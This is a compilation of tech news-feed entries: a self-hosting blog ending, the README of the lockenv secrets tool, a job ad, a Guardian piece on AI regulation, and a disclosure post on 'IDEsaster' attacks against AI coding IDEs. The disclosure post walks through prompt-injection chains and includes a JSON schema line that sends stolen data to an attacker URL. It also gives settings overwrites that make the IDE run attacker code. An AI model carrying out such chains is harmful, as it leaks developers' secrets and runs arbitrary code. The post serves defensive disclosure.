AI to the rescue! As skeptical as I am of these tools, it’s true that they work well to get answers to common problems—and figuring out how to deal with CORS in Cloudflare was no exception. They told me to configure a transformation rule that explicitly sets CORS response headers for specific subdomains, and that did the trick:

Sample rule configuration on the Cloudflare portal to rewrite CORS response headers.

Even though AI was correct in this case, the whole thing looked fishy to me, so I did spend time reading about the inner workings of CORS to make sure I understood what this proposed solution was about and to gain my own confidence that it was correct.

Results of the transition

By now, my web services are now fully running on my FreeBSD machine. The above may have seemed complicated, but in reality it was all just a few hours of work on Thanksgiving morning. Let’s conclude by analyzing the results of the transition.

On the plus side, here is what I’ve gained:

  • Predictability: Running in the cloud puts you at the mercy of the upgrade and product discontinuation treadmill of big cloud providers. It’s no fun to have to be paying attention to deprecation messages and adjust to changes no matter how long the deadlines are. FreeBSD also evolves, of course, but it has remained pretty much the same over the last 30 years and I have no reason to believe it’ll significantly change in the years to come.

  • Performance: My apps are so much faster now it’s ridiculous. The serverless runtime of Azure Functions starts quickly for sure, but it just can’t beat a server that’s continuously running and that has hot caches at all layers. That said, I bet the real difference in performance for my use case comes from collocating the app servers with the database, duh.

  • Ease of management: In the past, having automated deployments via GitHub Actions to Azure Functions was pretty cool, not gonna lie. But… being now able to deploy with a trivial sudo make install , perform administration PostgreSQL tasks with just a sudo -u postgres psql , and inspecting logs trivially and quickly by looking at /var/log/ beats any sort of online UI and distributed system. “Doesn’t scale” you say, but it scales up my time .

  • Cost: My Azure bill has gone from $20/month, the majority of which was going into the managed PostgreSQL instance, to almost zero. Yes, the server I’m running in the garage is probably costing me the same or more in electricity, but I was running it anyway already for other reasons.

And here is what I’ve lost (for now):

  • Availability (and redundancy): The cloud gives you the chance of very high availability by providing access to multiple regions. Leveraging these extra availability features is not cheap and often requires extra work, and I wasn’t taking advantage of them in my previous setup. So, I haven’t really decreased redundancy, but it’s funny that the day right after I finished the migration, I lost power for about 2 hours. Hah, I think I hadn’t suffered any outages with Azure other than the one described in this article.

  • A staging deployment: In my previous setup, I had dual prod and staging deployments (via Azure Functions slots and separate PostgreSQL databases—not servers) and it was cool to deploy first to staging, perform some manual validations, and then promote the deployment to prod. In practice, this was rather annoying because the deployment flow was very slow and not fully automated (see “manual testing”), but it indeed saved me from breaking prod a few times.

  • Auto-deployments: Lastly and also in my previous setup, I had automated the push to staging and prod by simply updating tags in the GitHub repository. Once again, this was convenient, but the biggest benefit of it all was that the prod build process was “containerized” and not subject to environmental interference. I’d very well set up a cron job or webhook-triggered local service that rebuilt and deployed my services on push… but it’s now hard to beat the simplicity of sudo make install .

None of the above losses are inherent to self-hosting, of course. I could provide alternatives for them all and at some point I will; consider them to-dos!

Show HN: Lockenv – Simple encrypted secrets storage for Git

Hacker News
github.com
2025-12-08 07:36:45
Comments...
Original Article

lockenv

Simple, CLI-friendly secret storage that lets you safely commit encrypted secrets to version control.

For small teams who want something simpler than sops/git-crypt for .env and infra secrets.

Overview

lockenv provides a secure way to store sensitive files (like .env files, configuration files, certificates) in an encrypted .lockenv file that can be safely committed to your repository. Files are encrypted using a password-derived key and can be easily extracted when needed.

How is this different?

Feature lockenv git-crypt sops
Format Single vault file Transparent per-file YAML/JSON native
Auth Password + Keyring GPG keys KMS/PGP
Git integration Manual (lock/unlock) Transparent (git filter) Manual
Setup lockenv init GPG key exchange KMS/key config
Best for Simple .env/config Large teams, many devs Cloud infra, key rotation

Installation

Homebrew (macOS/Linux)

brew tap illarion/tap
brew install lockenv

Debian/Ubuntu

Download the .deb file from the latest release :

sudo dpkg -i lockenv_*_linux_amd64.deb

Fedora/RHEL

Download the .rpm file from the latest release :

sudo rpm -i lockenv_*_linux_amd64.rpm

Binary Download

Download pre-built binaries from GitHub Releases .

Available for:

  • Linux (amd64, arm64)
  • macOS (amd64, arm64)
  • Windows (amd64, arm64)

Go Install

go install github.com/illarion/lockenv@latest

Shell Completions

Shell completions are automatically installed when using Homebrew, deb, or rpm packages.

For manual installation (binary download or go install ):

# Bash - add to ~/.bashrc
eval "$(lockenv completion bash)"

# Zsh - add to ~/.zshrc
eval "$(lockenv completion zsh)"

# Fish - add to ~/.config/fish/config.fish
lockenv completion fish | source

# PowerShell - add to $PROFILE
lockenv completion powershell | Out-String | Invoke-Expression

Quick Start

# Initialize lockenv in your project
lockenv init

# Lock (encrypt and store) sensitive files
lockenv lock .env config/secrets.json

# Later, unlock (decrypt and restore) files with your password
lockenv unlock

Git Integration

lockenv is designed for version control: ignore your sensitive files, commit only the encrypted .lockenv vault.

Basic Setup

Add to your .gitignore :

# Sensitive files - these are stored encrypted in .lockenv
.env
.env.*
*.key
*.pem
secrets/

# Keep the encrypted vault (negation pattern)
!.lockenv

The !.lockenv negation ensures the vault is tracked even if broader patterns (like .* ) would exclude it.

Project-Specific Examples

Some software project:

.env
.env.local
.env.production
config/secrets.json
!.lockenv

Terraform project:

*.tfvars
terraform.tfstate
terraform.tfstate.backup
.terraform/
!.lockenv

Commands

lockenv init

Creates a .lockenv vault file in the current directory. Prompts for a password that will be used for encryption. The password is not stored anywhere - you must remember it.

$ lockenv init
Enter password:
Confirm password:
initialized: .lockenv

lockenv lock <file> [file...]

Encrypts and stores files in the vault. Supports glob patterns for multiple files.

# Lock a single file
$ lockenv lock .env
Enter password:
locking: .env
encrypted: .env
locked: 1 files into .lockenv

# Lock multiple files with glob pattern
$ lockenv lock "config/*.env"
Enter password:
locking: config/dev.env
locking: config/prod.env
encrypted: config/dev.env
encrypted: config/prod.env
locked: 2 files into .lockenv

Options:

  • -r, --remove - Remove original files after locking
$ lockenv lock .env --remove
Enter password:
locking: .env
encrypted: .env
removed: .env
locked: 1 files into .lockenv

lockenv unlock [file...]

Decrypts and restores files from the vault with smart conflict resolution.

# Unlock all files
$ lockenv unlock
Enter password:
unlocked: .env
unlocked: config/database.yml

unlocked: 2 files

# Unlock specific file
$ lockenv unlock .env
Enter password:
unlocked: .env

unlocked: 1 files

# Unlock files matching pattern
$ lockenv unlock "config/*.env"
Enter password:
unlocked: config/dev.env
unlocked: config/prod.env

unlocked: 2 files

Smart Conflict Resolution: When a file exists locally and differs from the vault version, you have multiple options:

Interactive Mode (default):

  • [l] Keep local version
  • [v] Use vault version (overwrite local)
  • [e] Edit merged (opens in $EDITOR with git-style conflict markers, text files only)
  • [b] Keep both (saves vault version as .from-vault )
  • [x] Skip this file

Non-Interactive Flags:

  • --force - Overwrite all local files with vault version
  • --keep-local - Keep all local versions, skip conflicts
  • --keep-both - Keep both versions for all conflicts (vault saved as .from-vault )
# Interactive mode example
$ lockenv unlock

warning: conflict detected: .env
   Local file exists and differs from vault version
   File type: text

Options:
  [l] Keep local version
  [v] Use vault version (overwrite local)
  [e] Edit merged (opens in $EDITOR)
  [b] Keep both (save vault as .from-vault)
  [x] Skip this file

Your choice: e

opening editor for merge...
# Editor opens with:
# <<<<<<< local
# API_KEY=old_value
# =======
# API_KEY=new_value
# DEBUG=true
# >>>>>>> vault

unlocked: .env

# Keep both versions example
$ lockenv unlock --keep-both
Enter password:
saved: .env.from-vault (vault version)
skipped: .env (kept local version)
saved: config/secrets.json.from-vault (vault version)
skipped: config/secrets.json (kept local version)

lockenv rm <file> [file...]

Removes files from the vault. Supports glob patterns.

$ lockenv rm config/dev.env
Enter password:
removed: config/dev.env from vault

lockenv ls

Alias for lockenv status . Shows comprehensive vault status.

lockenv status

Shows comprehensive vault status including statistics, file states, and detailed information. Does not require a password.

$ lockenv status

Vault Status
===========================================

Statistics:
   Files in vault: 3
   Total size:     2.17 KB
   Last locked:    2025-01-15 10:30:45
   Encryption:     AES-256-GCM (PBKDF2 iterations: 210000)
   Version:        1

Summary:
   .  2 unchanged
   *  1 modified

Files:
   * .env (modified)
   . config/dev.env (unchanged)
   * config/prod.env (vault only)

===========================================

lockenv passwd

Changes the vault password. Requires both the current and new passwords. Re-encrypts all files with the new password.

$ lockenv passwd
Enter current password:
Enter new password:
Confirm new password:
password changed successfully

lockenv diff

Shows actual content differences between vault and local files (like git diff ).

$ lockenv diff
Enter password:
--- a/.env
+++ b/.env
@@ -1,3 +1,4 @@
 API_KEY=secret123
-DATABASE_URL=localhost:5432
+DATABASE_URL=production:5432
+DEBUG=false
 PORT=3000

Binary file config/logo.png has changed

File not in working directory: config/prod.env

Note: lockenv status shows which files changed, lockenv diff shows what changed.

lockenv compact

Compacts the vault database to reclaim unused disk space. Runs automatically after rm and passwd , but can be run manually.

$ lockenv compact
Compacted: 45.2 KB -> 12.1 KB

lockenv keyring

Manages password storage in the OS keyring.

# Save password to keyring
$ lockenv keyring save
Enter password:
Password saved to keyring

# Check if password is stored
$ lockenv keyring status
Password: stored in keyring

# Remove password from keyring
$ lockenv keyring delete
Password removed from keyring

Workflow Example

  1. Initial setup

    # Initialize vault
    lockenv init
    
    # Lock your sensitive files (encrypt and store)
    lockenv lock .env config/database.yml certs/server.key --remove
    
    # Commit the encrypted vault
    git add .lockenv
    git commit -m "Add encrypted secrets"
    git push
  2. After cloning repository (new team member)

    git clone <repo>
    cd <repo>
    
    # Unlock files to restore them
    lockenv unlock
  3. Updating secrets

    # Make changes to your .env file
    echo "NEW_SECRET=value" >> .env
    
    # Check what changed
    lockenv status    # See file is modified
    lockenv diff      # See detailed changes
    
    # Lock the updated files
    lockenv lock .env
    
    # Commit the changes
    git add .lockenv
    git commit -m "Update secrets"
    git push
  4. Managing files

    # Add new secret file
    lockenv lock new-secrets.json
    
    # Remove file from vault
    lockenv rm old-config.yml
    
    # Check vault status
    lockenv status

Security Considerations

  • Password Management : lockenv does not store your password. If you lose it, you cannot decrypt your files.
  • Encryption : Uses industry-standard encryption (AES-256-GCM) with PBKDF2 key derivation for all file contents.
  • Metadata Visibility : File paths, sizes, and modification times are visible without authentication via lockenv status . If file paths themselves are sensitive, use generic names like config1.enc .
  • Memory Safety : Sensitive data is cleared from memory after use.
  • Version Control : Only commit the .lockenv file, never commit unencrypted sensitive files.

Threat Model

lockenv protects against:

  • Secrets exposed in git history or repository leaks
  • Unauthorized repository access without the password
  • Dev laptops without the password

lockenv does NOT protect against:

  • Compromised CI runner (sees plaintext after unlock)
  • Attacker who has the password

Environment Variables

LOCKENV_PASSWORD

For CI/CD environments, you can provide the password via environment variable:

export LOCKENV_PASSWORD="your-password"
lockenv unlock

Security warning: Environment variables may be visible to other processes on the system (via /proc/<pid>/environ on Linux or process inspection tools). Use this feature only in isolated CI/CD environments where process inspection by other users is not a concern. For interactive use, prefer the terminal prompt or OS keyring.

OS Keyring Integration

lockenv can store your password in the operating system's secure keyring, eliminating password prompts for daily use.

Supported backends:

  • macOS: Keychain
  • Linux: GNOME Keyring, KDE Wallet, or any Secret Service implementation
  • Windows: Windows Credential Manager

Automatic Integration

After init or unlock , lockenv offers to save your password:

$ lockenv unlock
Enter password:
unlocked: .env

Save password to keyring? [y/N]: y
Password saved to keyring

Once saved, subsequent commands use the keyring automatically:

$ lockenv unlock
unlocked: .env  # No password prompt!

Manual Management

# Save password to keyring (verifies password first)
$ lockenv keyring save
Enter password:
Password saved to keyring

# Check keyring status
$ lockenv keyring status
Password: stored in keyring

# Remove from keyring
$ lockenv keyring delete
Password removed from keyring

Stale Password Handling

If the vault password changes but the keyring has the old password, lockenv automatically detects this and prompts for the correct password:

$ lockenv unlock
Warning: keyring password is incorrect, removing stale entry
Enter password:
unlocked: .env

Security Notes

  • Passwords are stored using your OS's native secure storage
  • Each vault has a unique ID - moving .lockenv files preserves keyring association
  • The keyring is optional - lockenv works without it

CI/CD Integration

GitHub Actions

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Install lockenv
        run: |
          curl -sL https://github.com/illarion/lockenv/releases/latest/download/lockenv_linux_amd64.tar.gz | tar xz
          sudo mv lockenv /usr/local/bin/
      - name: Unlock secrets
        env:
          LOCKENV_PASSWORD: ${{ secrets.LOCKENV_PASSWORD }}
        run: lockenv unlock

GitLab CI

deploy:
  before_script:
    - curl -sL https://github.com/illarion/lockenv/releases/latest/download/lockenv_linux_amd64.tar.gz | tar xz
    - mv lockenv /usr/local/bin/
    - lockenv unlock
  variables:
    LOCKENV_PASSWORD: $LOCKENV_PASSWORD

Limitations

  • File size : Files are loaded entirely into memory for encryption. Not recommended for large binary files (>100MB).
  • Single password : One password for the entire vault. No per-user or per-file access control.

For feature requests or issues, see GitHub Issues .

Truemetrics (YC S23) Is Hiring

Hacker News
www.ycombinator.com
2025-12-08 07:00:33
Comments...
Original Article

We show couriers where to park and enter a building.

Python Software Engineer – Analystics and Algorithms

$60K - $100K 0.50% - 1.50% Berlin, BE, DE / Berlin, Berlin, DE

Visa

US citizenship/visa not required

Skills

Python, Machine Learning, Amazon Web Services (AWS)

Connect directly with founders of the best YC-funded startups.

Apply to role ›

About the role

Software Engineer – Analystics and Algorithms

Join truemetrics - Build technology to navigate the world

truemetrics helps organizations to navigate the world more efficiently. We are solving one of the biggest pain points in last mile delivery: how to get parcels, groceries, and food to the right door faster and more efficiently.

Our technology sits in the smartphone of the courier and understands where they park, walk and enter a building. Our technology is right now mapping locations in Kasachstan, Qatar, Germany, Switzerland, the UK and many other countries.

Who we are

We are a tech-driven, customer-obsessed company with a small but highly skilled team, pushing the boundaries of what’s possible in mapping and positioning.

We thrive on autonomy, ownership, and speed—which means we’re looking for curious problem-solvers who love tackling hard challenges and making an immediate impact. If you want structure, rigid processes, and a slow corporate environment, this is not the place for you.

Why join us?

  • Real Impact: Solve practical challenges that help thousands of delivery drivers navigate cities more efficiently.
  • Collaborative Environment: Work closely with a tight-knit team of founders and engineers scaling the company.
  • Technical Depth: Tackle advanced problems in positioning, sensor fusion, and large-scale data processing.
  • Industry Shaping: Influence the future of AI-driven mapping technology in a rapidly growing sector.
  • Global Ambition: Join a startup partnering with top logistics companies like GLS, DPD, and Snoonu.
  • Dynamic Culture: Experience the fast-paced environment of a Silicon Valley-connected startup. We are backed by some of the most successful investors in the world like Y-Combinator, Soma Capital or Rebel Fund.
  • Pick your own Hardware: You get yearly budget, buy what you want and keep it.
  • Equity package: You are playing a key role at truemetrics - that means that you should profit if truemetrics is succesfull. In addition to your salary - an equity package is planned for this position.

Why not to join us?

If you’re looking for a big team, a slow-paced environment, or a job where you can coast along without ownership, this probably isn’t the right fit. We move fast, iterate quickly, and expect everyone to contribute with initiative and creativity.

Requirements

  • You are based in Berlin and you have a valid working permit.
  • You have 4+ years of experience in software engineering, data analysis or research.

You’re a great fit if you meet most of the following:

  • Strong Python Skills : You have 3–5+ years of hands-on Python experience , and you're comfortable using it as your daily tool. At truemetrics, Python is at the heart of everything we build.
  • Excellent Analytical Thinking : You love solving complex problems and have solid experience developing algorithms or tackling mathematical challenges. You can demonstrate this through your CV or a well-maintained GitHub portfolio.
  • Cloud Know-How : You’re familiar with AWS services and feel confident working with serverless tools such as AWS Lambda , Athena , and S3 .

Bonus points if you bring any of the following:

  • Data or Math background : You know how to turn complex data into insights. Ideally, you have a strong foundation in data science or mathematics, and perhaps even experience working with geospatial data.
  • Maps, Addresses, Geospatial Data or Routing : You have hands-on experience in one or more of these domains, and can point to real-world projects or achievements.
  • Logistics, Parcel or Food Delivery : You understand the underlying business models and may have worked in a related field before.
  • Machine Learning for Time Series : You’re familiar with ML concepts for time series data and can demonstrate your knowledge through a current or recent project.

Your Role at truemetrics

You will work directly with the CTO. For many features, you will start completely from scratch; for others, you will dive into truemetrics' advanced technology and take it to the next level.

You are the first hire in this role — which means you'll have the opportunity to make a significant impact, but also carry a high level of responsibility.

Data Exploration, Analysis & Improvement

  • Data Preparation & Analysis : You prepare and structure data to make it easily understandable and meaningful, ensuring our customers gain valuable insights.

Prototyping & Innovation

  • Prototype Development : You design and implement prototypes for new features and actively contribute to the evolution of our algorithms and data processing workflows.
  • Algorithm Improvement : You lead the development of innovative algorithms aimed at enhancing the quality and reliability of both existing and upcoming features. Your tested ideas are translated directly into product improvements.

Software Engineering

  • Troubleshooting & Root Cause Analysis : When issues arise, you act as the master detective- tracking down root causes and proposing solutions.
  • Performance Analytics & Feature Support : You identify weaknesses in existing solutions or algorithms, support the development of new features, and propose improvements to boost performance and robustness.

How to Apply

  • Highlight that you live in Berlin in the subject line - if not, we cannot take your application into account.
  • Please include your CV .
  • Please tell us why you think you would be a good fit for this role, be specific.
  • Do you have an impressive GitHub repo to prove your skills? Great share it!

About truemetrics

The Way We Navigate Today Is Broken

I bet you know the following: "You Have Arrived At Your Destination!" — or so Google Maps thinks. In reality, the way couriers navigate is broken: No parking, hard-to-find entrances, and labyrinth-like apartment and office complexes can turn the last meters of delivery into a time-consuming puzzle. truemetrics provides parking positions and entrance locations to enable faster drop-offs.

Our data is generated by analyzing sensor data from drivers' smartphones, allowing truemetrics to identify precise parking and entrance locations, thereby simplifying the last meters of delivery.

truemetrics was founded in 2021 by Ingo Bögemann, Jan Bischof, and David Wulff, and is currently backed by Y-Combinator and notable business angels from the industry.

During his management of Wolt's operations in three of Germany's four regions, David often faced challenges with inefficiencies in the last 50 meters of delivery. Together, they started truemetrics to overcome these challenges. Ingo contributes 10 years of engineering and entrepreneurial experience, along with a successful exit. Jan Bischof holds a PhD in Control Theory and has developed software and AI solutions for nearly a decade.

truemetrics

Founded: 2021

Batch: S23

Team Size: 5

Status: Active

Location: Berlin, Germany

Founders

Scores of UK parliamentarians join call to regulate most powerful AI systems

Guardian
www.theguardian.com
2025-12-08 05:00:42
Exclusive: Campaign urges PM to show independence from US and push to rein in development of superintelligence More than 100 UK parliamentarians are calling on the government to introduce binding regulations on the most powerful AI systems as concern grows that ministers are moving too slowly to cre...
Original Article

More than 100 UK parliamentarians are calling on the government to introduce binding regulations on the most powerful AI systems as concern grows that ministers are moving too slowly to create safeguards in the face of lobbying from the technology industry.

A former AI minister and defence secretary are part of a cross-party group of Westminster MPs, peers and elected members of the Scottish, Welsh and Northern Irish legislatures demanding stricter controls on frontier systems, citing fears superintelligent AI “would compromise national and global security”.

The push for tougher regulation is being coordinated by a nonprofit organisation called Control AI whose backers include the co-founder of Skype, Jaan Tallinn. It is calling on Keir Starmer to show independence from Donald Trump’s White House, which opposes the regulation of AI. One of the “godfathers” of the technology, Yoshua Bengio, recently said it was less regulated than a sandwich .

The campaigners include the Labour peer and former defence secretary Des Browne, who said superintelligent AI “would be the most perilous technological development since we gained the ability to wage nuclear war”. He said only international cooperation “can prevent a reckless race for advantage that could imperil us all”.

The Conservative peer and former environment minister Zac Goldsmith said that “even while very significant and senior figures in AI are blowing the whistle, governments are miles behind the AI companies and are leaving them to pursue its development with virtually no regulation”.

Britain hosted an AI safety summit at Bletchley Park in 2023, which concluded there was “potential for serious, even catastrophic, harm, either deliberate or unintentional” from the most advanced AI systems. It set up the AI Safety Institute, now called the AI Security Institute, which has become an internationally respected body. Less emphasis, however, has been placed on the summit’s call to address risks through international cooperation.

Goldsmith said the UK should “resume its global leadership on AI security by championing an international agreement to prohibit the development of superintelligence until we know what we are dealing with and how to contain it”.

The calls for state intervention in the AI race come after one of Silicon Valley’s leading AI scientists told the Guardian humanity would have to decide by 2030 whether to take the “ultimate risk” of letting AI systems train themselves to become more powerful. Jared Kaplan, the co-founder and chief scientist at frontier AI company Anthropic, said: “We don’t really want it to be a Sputnik-like situation where the government suddenly wakes up and is like: Oh, wow, AI is a big deal.”

Labour’s programme set out in July 2024 said it would legislate “to place requirements on those working to develop the most powerful artificial intelligence models”. But no bill has been published and the government has faced White House pressure not to inhibit commercial AI development, mostly pioneered by US firms.

A spokesperson for the Department for Science, Innovation and Technology said: “AI is already regulated in the UK, with a range of existing rules already in place. We have been clear on the need to ensure the UK and its laws are ready for the challenges and opportunities AI will bring and that position has not changed.”

The bishop of Oxford, Steven Croft, who is backing the Control AI campaign, called for an independent AI watchdog to scrutinise public sector use and for AI companies to be required to meet minimum testing standards before releasing new models.

“There are all kinds of risks and the government doesn’t seem to have adopted a precautionary principle,” he said. “At the moment there are significant risks: the mental health of children and adults, the environmental costs and other big risks in terms of the alignment of generalised AI and [the question of] what is good for humanity. The government seems to be moving away from regulation.”

skip past newsletter promotion

The UK’s first AI minister under Rishi Sunak, Jonathan Berry, said the time was coming when binding regulations should be applied to models that present existential risks. He said rules should be global and would create tripwires so if AI models reached a certain power their makers would have to show they had been tested, designed with off switches and were capable of being retrained.

“International frontier AI safety has not gone on in leaps and bounds as we had hoped,” he said. He cited recent cases of chatbots being involved in encouraging suicides, people using them as therapists and believing they are gods. “The risks, now, are very serious and we need to be constantly on our guard,” he said.

The chief executive of Control AI, Andrea Miotti, criticised the current “timid approach” and said: “There has been a lot of lobbying from the UK and US. AI companies are lobbying governments in the UK and US to stall regulation arguing it is premature and would crush innovation. Some of these are the same companies who say AIs could destroy humanity.”

He said the speed with which AI technology was advancing meant mandatory standards could be needed in the next one or two years.

“It’s quite urgent,” he said.

Palantir Could Be the Most Overvalued Company That Ever Existed

Hacker News
247wallst.com
2025-12-08 04:45:20
Comments...

IDEsaster: A Novel Vulnerability Class in AI IDEs

Lobsters
maccarita.com
2025-12-08 04:00:59
Comments...
Original Article

Don’t want to miss my next post? Follow me on X or connect on LinkedIn IDEsaster logo

Summary

We all know AI reshaped how we build software. Autocomplete evolved into AI agents that can autonomously act on behalf of the user. As vendors compete on “productivity” they add additional capabilities that significantly affect the security posture of their products.

Around 6 months ago, I decided to dig into the world of AI IDEs and coding assistants because they were gaining popularity and it was clear they are here to stay. The first vulnerabilities I found were focused on narrow components - a vulnerable tool, writeable agent configuration or writeable MCP configuration that leads to anything from data exfiltration to remote code execution. Those issues are serious, but they only affect a single application at a time (and were publicly disclosed multiple times).

IDEsaster is different.

During this research I uncovered a new attack chain leveraging features from the base IDE layer. In doing so, it impacts nearly all AI IDEs and coding assistants using the same base IDE, affecting millions of users.

In this blog post, I’ll share my research - key statistics, how it relates to prior public work, the new vulnerability class (“IDEsaster”) and practical mitigations for both developers using AI IDEs and developers building AI IDEs.

Key Statistics

Problem Statement

IDEs were not initially built with AI agents in mind. Adding AI components to existing applications create new attack vectors, change the attack surface and reshape the threat model. This leads to new unpredictable risks.

With AI being added into almost any product today, this problem becomes more and more common. This made me come up with a new security principle - Secure for AI .

Secure for AI Principle

“Secure for AI” is a new security principle coined during this research to address security challenges introduced by AI features. It extends the secure‑by‑design and secure‑by‑default principles to explicitly account for AI components.

Under the Secure for AI principle, systems must be designed and configured with explicit consideration for how existing and planned AI components can be used (or misused), ensuring that the system remains secure.

Secure for AI diagram


Public Work

Public Threat Model

This threat model covers the publicly known threat model for AI IDEs. All publicly disclosed vulnerabilities up to this point (as far as I know) target one of the following components.

AI Agent LLM → AI Agent Tools → (Optional) AI Agent Settings

Component Sub-component Assumption Abuse Vector
AI Agent LLM LLM can always be jailbroken to perform the attacker’s injected context regardless of the original prompt or model. Context hijacking (via prompt injection)

Some examples are:
1. Rule files ( 1 )
2. MCP servers ( rug pulls , tool poisoning , direct tools output)
3. Deeplinks ( Cursor prompts )
4. User added (URLs)
5. System added (file names, tools results such as from a malicious README file)

As applications evolve with new integrations and features, new vectors are added. There is no way to completely prevent it.

AI Agent Tools / Functions Certain actions do not require user interaction (either by-default or user-configured) 1. Using vulnerable tools (path traversal, command injection)

2. Using the tools to perform “legitimate” actions that lead to subsequent impact (reading files, making HTTP requests, etc)

AI Agent Settings and Configuration Some of the AI agent settings (or configurations) are modifiable by the agent itself without user interaction. 1. Editing the AI agent’s MCP configuration file leads to code execution (by starting a new stdio MCP server)

2. Modifying the AI agent’s configuration changes tools behavior or agent’s autonomy.

Public Attack Chains

The following attack chains describe the full publicly known attack flows used to attack AI IDEs. As far as I know, all security vulnerabilities publicly disclosed to this date use one of the following attack chains. All attack chains diagram

Prompt Injection → Vulnerable Tools

Prompt Injection → Vulnerable Tools Prompt Injection : Any of the the described context hijacking vectors can be used. It’s inevitable that this will eventually happen one way or the other. Vulnerable Tools : A tool breaks out of the intended security boundary circumventing user interaction, leading to unexpected impact.

Public Examples :

Prompt Injection → Tools → AI Agent Settings

Prompt Injection → Tools → AI Agent Settings Prompt Injection : Any of the the described context hijacking vectors can be used. It’s inevitable that this will eventually happen one way or the other. Tools : Non-vulnerable tools are used to perform “legitimate” actions such as reading and editing files. AI Agent’s Settings : Agent settings/configuration are modified using legitimate tool uses, leading to unexpected impact.

Public Examples :

Prompt Injection → Vulnerable Tools → AI Agent Settings

Prompt Injection → Vulnerable Tools → AI Agent Settings Prompt Injection : Any of the the described context hijacking vectors can be used. It’s inevitable that this will eventually happen one way or the other. Vulnerable Tools : A tool breaks out of the intended security boundary circumventing user interaction, leading to unexpected impact. AI Agent’s Settings : Agent configuration (settings) is modified using the vulnerable tool, leading to unexpected impact.

Public Examples :


Redefined Threat Model

AI IDEs effectively ignored the base IDE software as part of the threat model, assuming it’s inherently safe because it existed for years. However, once you add AI agents that can act autonomously, the same legacy features can be weaponized into data exfiltration and RCE primitives. The base IDE’s features should be an integral component of the threat model. Redefined Threat Model Diagram

The Novel Attack Chain

The first two components of this chain are equivalent to previous attack chains. The last component is what makes this chain novel. It also what makes this attack chain universal (application agnostic) - all AI IDEs and coding assistants sharing the underlying base software are likely vulnerable. List of applications categorized on base IDE

Prompt Injection → Tools → Base IDE Features

Prompt Injection → Tools → Base IDE Features Prompt Injection : Any of the the described context hijacking vectors can be used. It’s inevitable that this will eventually happen one way or the other. Tools : The agent’s tools (either vulnerable or not) are used to perform actions that trigger underlying IDE features. Base IDE Features : Features of the base IDE are triggered using the agent tools leading to anything from information leakage to command execution.


Case Study #1 - Remote JSON Schema

Base IDE affected: Visual Studio Code, JetBrains IDEs, Zed.dev Impact: Data Exfiltration

Background

A remote JSON schema is a validation blueprint stored at an external URL that can be referenced to enable easy reuse across different documents. All 3 base IDEs tested supported this feature by default: Visual Studio Code, JetBrains IDEs and Zed.

Attack Flow

  1. Context hijacking using any of the prompt injection vectors.
  2. Collect sensitive information using tools. This can either be legitimate tools or using vulnerable tools.
  3. Write any .json file (using legitimate tool) with a remote JSON schema pointing to an attacker controlled domain with the sensitive data as parameter.
{
"$schema": "https://maccarita.com/log?data=<DATA>"
}
  1. IDE automatically makes a GET request leaking the data. Interestingly, even with diff-preview the request triggers which might bypass some HITL measures.

Exploit

Due to the ever growing amount of applications and various base IDEs untested and the fact that some vendors acknowledged but haven’t fixed this yet (despite >90 days responsible disclosure), exact exploitation prompt is not shared to protect users. As this vulnerability class matures and more vendors address this - I will update this post.

References

  • GitHub Copilot: fixed, no CVE assigned
  • Cursor: CVE-2025-49150
  • Kiro.dev: fixed, no CVE assigned
  • Roo Code: CVE-2025-53097
  • JetBrains Junie: CVE-2025-58335
  • Claude Code: acknowledged but decided to address with a security warning .

Case Study #2 - IDE Settings Overwrite

Base IDE affected: Visual Studio Code, JetBrains IDEs, Zed.dev Impact: Remote Code Execution

Background

On first glance, this might look like previously reported vulnerabilities with .vscode/settings.json ( GitHub Copilot , Kiro.dev ) but it is fundamentally different. The previously reported vulnerabilities focus on overriding an agent’s setting which makes it apply only for a specific application. This focuses on IDE settings, hence instantly applies to all AI IDEs and coding assistants sharing the same base IDE.

Attack Flow

The attack flow differs depending on the base IDE - Visual Studio Code:

  1. Edit any executable file ( .git/hooks/*.sample are common example that exists for every Git repository) to store your arbitrary code.
  2. Edit .vscode/settings.json setting the php.validate.executablePath to the absolute path of the file from step 1.
  3. Create any php file inside the project, this will instantly trigger the executable configured in step 2. JetBrains:
  4. Edit any executable file to store your arbitrary code.
  5. Edit .idea/workspace.xml setting the PATH_TO_GIT in Git.Settings to the path of the file from step 1. This will instantly trigger the executable.

Exploit

Due to the ever growing amount of applications and various base IDEs untested and the fact that some vendors acknowledged but haven’t fixed this yet (despite >90 days responsible disclosure), exact exploitation prompt is not shared to protect users. As this vulnerability class matures and more vendors address this - I will update this post.

References

  • GitHub Copilot: CVE-2025-53773
  • Cursor: CVE-2025-54130
  • Roo Code: CVE-2025-53536
  • Zed.dev: CVE-2025-55012
  • Kiro.dev: fixed, no CVE assigned
  • Claude Code: acknowledged but decided to address with a security warning .

Case Study #3 - Multi-Root Workspace Settings

Base IDE affected: Visual Studio Code Impact: Remote Code Execution

Background

This is similar to case study #2, but it shows the real risk of IDEsaster. There are endless features to every IDE. Even if you handle one ( .vscode/settings.json ) more can be found.

Multi-root workspace is a feature in Visual Studio Code that lets you open multiple folders as a single project. The new project settings file is no longer .vscode/settings.json , but untitled.code-workspace by default. The user can save this code-workspace file under any name and in any folder, but it is often inside of one of the root folders.

This let’s you reproduce the Visual Studio Code attack flow from case study 2. However, in addition to that, you can also edit the root directories to any path, essentially removing the “executable file” precondition.

Attack Flow

  1. Edit the *.code-workspace file setting the folder path to any path on the filesystem that contains a writeable-executable file by default. (This step is used to bypass the common human-in-the-loop for editing out-of-workspace files)
  2. Edit the now-in-workspace executable file to store your arbitrary code.
  3. Edit *.code-workspace setting the php.validate.executablePath to the absolute path of the file from step 2.
  4. Create any php file inside the project, this will instantly trigger the executable configured in step 3.

Exploit

Due to the ever growing amount of applications and various base IDEs untested and the fact that some vendors acknowledged but haven’t fixed this yet (despite >90 days responsible disclosure), exact exploitation prompt is not shared to protect users. As this vulnerability class matures and more vendors address this - I will update this post.

References

  • GitHub Copilot: CVE-2025-64660
  • Cursor: CVE-2025-61590
  • Roo Code: CVE-2025-58372 (reported by thelicato )

Mitigations and Recommendations

It’s impossible to entirely prevent this vulnerability class short-term, as IDEs were not initially built following the Secure for AI principle. However, these measures can be taken to reduce risk from both a user perspective and a maintainer perspective.

Developers Using AI IDEs

  1. Only use AI IDEs (and AI agents) with trusted projects and files. Malicious rule files, instructions hidden inside source code or other files (README) and even file names can become prompt injection vectors.
